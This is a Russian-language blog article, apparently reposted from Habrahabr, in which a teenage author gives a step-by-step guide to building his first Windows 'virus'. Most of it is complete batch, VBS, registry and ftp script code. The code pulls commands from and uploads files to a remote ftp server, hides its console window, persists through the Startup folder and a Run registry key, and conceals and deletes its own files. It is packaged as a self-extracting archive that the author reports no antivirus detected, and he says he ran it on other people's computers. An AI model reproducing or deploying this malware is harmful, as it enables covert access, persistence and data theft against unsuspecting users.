Освоив загрузку по ftp, я решил создать обыкновенный вирус для загрузки файлов с чужого компа:
@echo Off
@ftp -s:ftp_com.ini -i ******.host56.com
Rem Выбрал хостинг 000webhost.com за возможность редактировать любые текстовые файлы через интернет.
Файл ftp_com.ini — файл в котором хранятся сначала логин и пароль, а затем ftp команды.
Затем создал файл для скрытия командной строки на vbs:
Set oShell = WScript.CreateObject("WScript.Shell")
oShell.Run "Путь к файлу ", 0, False
Затем (так как на компе Vista) скопировал этот vbs файл в автозагрузку. И для хоть какого-то скрытия сделал его скрытым системным (так как там, где я их собирался использовать даже скрытые файлы не отображаются), добавив в 1 батник(Я его назвал WinSys.cmd) 2 строки:
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
vbsmach.vbs — тот самый vbs скрипт.
Но потом, опробовав на другом компе на XP понял, что он не работает и для надёжности запихнул это в файл реестра. Он получился вот таким:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinSys.cmd""
И в теле батника пишем reg import файл реестра.reg
Затем я запустил на своём компе батник и понял, что он иногда зависает и решил сделать задержку и решил для этого сделать другой cmd-файл — WinHelp.cmd вписав в него
ping -n 10 127.0.0.1
cls
WinSys.cmd
Теперь надо добавить возможность управлять им хоть как-то. Для этого в файл Ftp_com.ini надо добавить команду для загрузки и отправки файлов:
Логин от ftp сервера
пароль от ftp сервера
get ftp_com.ini
get WinHelp.cmd
put tree.txt
bye
Я решил не изменять файл WinSys.cmd, хотя это возможно сделать без проблем. Теперь на ftp-сервере загружаем все файлы и вирус готов. Но я для скрытности добавил пару строчек в файл WinSys.cmd
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd
Последняя строка необходима для того, чтобы он работал постоянно.
И так он готов, но мы же не будем кому-то давать столько файлов, поэтому надо бы всё это запихнуть либо в exe файл, либо в 1 bat файл, но я выбрал первый вариант, так как многие очень боятся всех этих bat,cmd файлов, сделав это через winrar, предварительно прописав запуск файла vbsmach.vbs после разархивирования. Опробовав это я понял, что это оставляет очень много улик, поэтому я решил изменить в вирусе многое многое. Вот что получилось в WinSys.cmd:
@ftp -s:ftp_com.ini -i ****.host56.com
cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd
А при архивирование ввёл путь %userprofile%\downloads и в файл WinHelp.cmd добавил строку
del /q %userprofile%\WinSys.cmd
Вот что из себя представлял вирус после его написания:
Файл WinSys.cmd
@ftp -s:ftp_com.ini -i ****.host56.com
cls
reg import regedit.reg
copy vbsmach.vbs "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Copy Winsys.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy WinHelp.cmd "%userprofile%\AppData\Roaming\Microsoft\Windows"
Copy ftp_com.ini "%userprofile%\AppData\Roaming\Microsoft\Windows"
del /q ftp_com.ini
del /q WinHelp.cmd
del /q vbsmach.vbs
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vbsmach.vbs"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\Winsys.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd"
attrib +S +H "%userprofile%\AppData\Roaming\Microsoft\Windows\ftp_com.ini"
%userprofile%\AppData\Roaming\Microsoft\Windows\WinHelp.cmd
Файл WInhelp.cmd, но он нужен не только для задержки, лучше всего внедрять необходимые функции для запуска файлов именно в него:
del /q %userprofile%\WinSys.cmd
del /q %userprofile%\regedit.reg
ping -n 10 127.0.0.1
cls
WinSys.cmd
Файл реестра — regedit.reg
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"System32"="\"%%userprofile%%\\AppData\\Roaming\\Microsoft\\Windows\\WinHelp.cmd""
Файл ftp_com.ini
логин от ftp сервера
пароль
get ftp_com.ini
get WinHelp.cmd
bye
Как с ним работать думаю понятно. После создания архива решил проверить на virustotal www.virustotal.com/file/da428b5c22d4730370ad2018e70eb5fed3dc2b5c7afe9e4fe93a739772aa18e1/analysis/1359883653/
И был удивлён ни один антивирус ничего не заподозрил. Это мой первый вирус, который я решил запустить на некоторые компы, естественно на разных ftp серверах, но спустя некоторое время удалил, так как на них ничего интересного не было.
Его обнаружение конечно не составляет труда, да и функционала хватит только попугать человека ( хотя можно загрузить много всякой гадости на тот комп, но это уже другой разговор), но меня поразило, что никакая эвристика не распознала в нём ничего подозрительного. И непонятно зачем она нужна если даже такой как я 13-летний мальчишка может её обойти.
После этого я стал относится к фаерволам, как одной из наилучших защит против всякой нечести и антивирус нужен лишь для защиты от блокировщиков, да и только.
ссылка на оригинал статьи http://habrahabr.ru/post/168099/
Добавить комментарий